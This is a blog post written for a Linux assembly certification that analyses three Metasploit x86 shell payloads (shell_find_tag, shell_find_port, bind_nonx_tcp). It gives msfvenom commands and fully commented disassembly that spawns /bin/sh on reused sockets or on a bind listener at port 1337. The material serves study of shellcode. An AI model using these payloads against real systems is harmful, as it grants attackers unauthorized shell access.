Back to Posts

Share this post

SLAE – Assignment #5: Metasploit Shellcode Analysis

Posted by: voidsec

Reading Time: 8 minutes

Assignment #5: Metasploit Shellcode Analysis

Fifth SLAE’s assignment requires to dissect and analyse three different Linux x86 Metasploit Payload.

Metasploit currently has 35 different payloads but almost half of it are Meterpreter version, thus meaning staged payloads. I’ve then decided to skip meterpreter payloads as they involve multiple stages and higher complexity that will break libemu graph generation (which I find very useful to better explain shellcode’s operations).

In this blog we are going to analyse the following shellcodes:

  • linux/x86/shell_find_tag
  • linux/x86/shell_find_port
  • linux/x86/shell/bind_nonx_tcp

As always, all the code is also available on GitHub.

shell_find_tag Analysis:

Spawn a shell on an established connection (proxy/nat safe)

Shellcode Generation:

msfvenom -p linux/x86/shell_find_tag --platform linux -a x86 | sctest -vvv -Ss 100000 -G shell-find-tag.dot && dot shell-find-tag.dot -T png > shell-find-tag.png

Libemu Graph

Not being completely sure that libemu had understood correctly our shellcode, I’ve also dumped it in a file for further inspection:

msfvenom -p linux/x86/shell_find_tag --platform linux -a x86 | ndisasm -u - > shell-find-tag.nasm

Libemu is great but it was missing a 3rd block of “code” after the “recv” loop, I’ve then analysed the dumped ASM shellcode, providing in-line comments:

; Paolo Stagno aka [VoidSec](https://voidsec.com)
; SLAE-1511

  xor ebx,ebx			; zeroing out EBX = 0
push ebx			; push 0 on stack
mov esi,esp			; store current stack pointer to ESI
push byte +0x40			; push MSG_DONTWAIT flag on the stack
mov bh,0xa			; load 10 in BH
push ebx			; push EBX (0x0a00) on the stack, length argument
push esi			; push ESI value (pointer to our buffer)
push ebx			; push EBX (0x0a00)
mov ecx,esp			; store current stack pointer in ECX (pointer to function argument)
xchg bh,bl			; exchange BL and BH (0x0a goes into BL) SYS_RECV socketcall

loop_lbl: 			; loop_lbl
inc word [ecx]			; increment file descriptor value, used in the loop to go to the "next" socket connection
push byte +0x66			; push 0x66 (socketcall number) on the stack
pop eax				; pop 0x66 in EAX (socketcall systemcall)
int 0x80			; execute socketcall systemcall
cmp dword [esi],0x616f6b51	; compare the received value with "aokQ" tag
jnz 0x10			; if the value does not match we go back to loop_lbl

; we found our tag
dup_loop_lbl:			; dup_loop_lbl
pop edi				; pop sockfd into EDI
mov ebx,edi			; save sockfd value in EBX for our dup2 call
push byte +0x2			; push 2 on the stack (that will be used to perform 3 iterations in dup2 2,1,0)
pop ecx				; load the pushed 2 in ECX
dup_loop_lbl:			; dup_loop_lbl
push byte +0x3f			; push dup2 syscall value in the stack
pop eax				; load dup2 syscall value in EAX
int 0x80			; execute dup2 systemcall
dec ecx				; decrement our counter (From 2 to 0 stdin, stdout and stderr..)
jns 0x26			; if we didn't reach the end (-1) we loop bak to our dup_loop_lbl

; Execve
push byte +0xb			; psuh 11 on the stack
pop eax				; load 11 in EAX (execve sustemcall value)
cdq				; zeroing out EDX = 0
push edx			; EDX will act as null string terminator
push dword 0x68732f2f		; hs//
push dword 0x6e69622f		; nib/
mov ebx,esp			; load a pointer to /bin//sh in EBX
push edx			; push the null function argument to EDX
push ebx			; push /bin//shNULL pointer to EBX
mov ecx,esp			; move pointer to /bin//shNULL into ECX
int 0x80			; execute execve systemcall and pop our shell

The shell_find_tag shellcode is a socket-reuse payload who will search through all the open connections (sockets), searching for a specific tag (“aokQ” in our case) and, if the tag is found, it will spawn a shell on the connection.

shell_find_port Analysis:

Spawn a shell on an established connection

Shellcode Generation:

msfvenom -p linux/x86/shell_find_port --platform linux -a x86 | ndisasm -u - > shell-find-port.nasm
msfvenom -p linux/x86/shell_find_port --platform linux -a x86 | sctest -vvv -Ss 100000 -G shell-find-port.dot && dot shell-find-port.dot -T png > shell-find-port.png

Libemu Graph

And here the in-line comment and analysis:

; Paolo Stagno aka [VoidSec](https://voidsec.com)
; SLAE-1511

xor ebx,ebx			; zeroing out EBX = 0
push ebx			; push 0 on stack
mov edi,esp			; store current stack pointer to EDI
push byte +0x10			; push address lenght on the stack
push esp			; push pointer too address length on the stack
push edi			; push pointer to 
push ebx			; sockfd to start to search
mov ecx,esp			; move current stack pointer to ECX
mov bl,0x7			; load 0x7 SYS_GETPEERNAME  value in BL

loop_lbl:			; loop_lbl
inc dword [ecx]			; increment file descriptor used in the loop to go to the "next" socket connection	
push byte +0x66			; push 0x66 (socketcall number) on the stack
pop eax				; pop 0x66 in EAX (socketcall systemcall)
int 0x80			; execute socketcall systemcall
cmp word [edi+0x2],0x4271	; compare the socket source port with "28994" little endian value
jnz 0xe				; if the value does not match we go back to loop_lbl

; source port match
dup_loop_lbl:			; dup_loop_lbl
pop ebx				; pop sockfd into EBX
push byte +0x2			; push 2 on the stack (that will be used to perform 3 iterations in dup2 2,1,0)
pop ecx				; load the pushed 2 in ECX
mov al,0x3f			; push dup2 syscall value in AL
int 0x80			; execute dup2 systemcall
dec ecx				; decrement our counter (From 2 to 0 stdin, stdout and stderr..)
jns 0x21			; if we didn't reach the end (-1) we loop bak to our dup_loop_lbl

; Execve
push eax			; EAX should now be 0
push dword 0x68732f2f		; hs//
push dword 0x6e69622f		; nib/
mov ebx,esp			; load a pointer to /bin//sh in EBX
push eax			; push the null function argument to EAX
push ebx			; push /bin//shNULL pointer to EBX
mov ecx,esp			; move pointer to /bin//shNULL into ECX
cdq				; zeroing out EAX = 0
mov al,0xb			; move pointer to /bin//shNULL into ECX
int 0x80			; execute execve systemcall and pop our shell

The shell_find_port shellcode is a port-reuse payload who will search for an already established connection, searching for a source port (28994 in our case) and, if the value, it will spawn a shell over that connection.

bind_nonx_tcp Analysis:

Spawn a command shell (staged). Listen for a connection

Shellcode Generation:

msfvenom -p linux/x86/shell/bind_nonx_tcp --platform linux -a x86 | ndisasm -u - > bind-nonx-tcp.nasm
msfvenom -p linux/x86/shell/bind_nonx_tcp --platform linux -a x86 | sctest -vvv -Ss 100000 -G shell-bind-nonx.dot && dot shell-bind-nonx.dot -T png > shell-bind-nonx.png

Libemu Graph

And here the in-line comment and analysis:

; Paolo Stagno aka [VoidSec](https://voidsec.com)
; SLAE-1511

;----------- Create Socket ----------------------------
xor ebx,ebx		; zeroing out EBX = 0
push ebx		; pushing 0 on the stack 0 (protocol)
inc ebx			; incrementing EBX = 1
push ebx		; pushing 1 on the stack 1 (SOCK_STREAM)
push byte +0x2		; pushing 2 on the stack 2 (AF_INET)
push byte +0x66		; pushing syscall 102 (socketcall) on the stack
pop eax			; load syscall 102 in EAX
cdq			; clean EDX
mov ecx,esp		; load stack pointer to ECX
int 0x80		; execute socketcall systemcall
;----------- Bind the Socket --------------------------
xchg eax,esi		; store the socket file descriptor in ESI
inc ebx			; EBX = 2 (BIND)
push edx		; push 0 on the stack (INADDR_ANY)
push word 0x5c11	; port 1337 in little endian (PORT)
push bx			; 2 AF_INET
mov ecx,esp		; store pointer to the structure in ECX
push byte +0x66		; pushing syscall 102 (socketcall) on the stack
pop eax			; load syscall 102 in EAX
push eax		; use it as sizeof(struct sockaddr_in)
push ecx		; &serv_addr
push esi		; our socket descriptor
mov ecx,esp		; store pointer to arguments in ECX
int 0x80		; execute system call
;----------- Listen socket for incoming connection ----
mov al,0x66		; load syscall 102 in EAX
shl ebx,1		; increase EBX to 4 for listen function call number
int 0x80		; execute system call
;----------- Accept Connection ------------------------
push edx		; NULL addrlen
push edx		; NULL sockaddr
push esi		; sockfd
inc ebx			; increase sub function number in BL to 5 for accept
mov ecx,esp		; store pointer to arguments in ECX
mov al,0x66		; store sys_socketcall system call number in EAX
int 0x80		; execute system call
;----------- Read from file descriptor, 2nd stage -----
xchg eax,ebx		; clean EAX
mov dh,0xc		; set size to 3072 bytes
mov al,0x3		; load sys_read system call in AL
int 0x80		; execute system call
;----------- Transfer execution to 2nd stage -----
mov edi,ebx		; store socket file descriptor in edi
jmp ecx			; directly jump in ECX that will contain our 2nd stage shellcode

The bind_nonx_tcp shellcode is very similar to the default bind tcp (it has a nice and clever re-use of the registers) shellcode that I’ve analysed during the first SLAE assignment, while the regular shellcode is suitable for systems with data execution prevention (DEP) enabled (as it is using “mprotect” to create an executable buffer), this shellcode omits this step in favour of a smaller size; it indeed, require an executable stack.

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1511

Back to Posts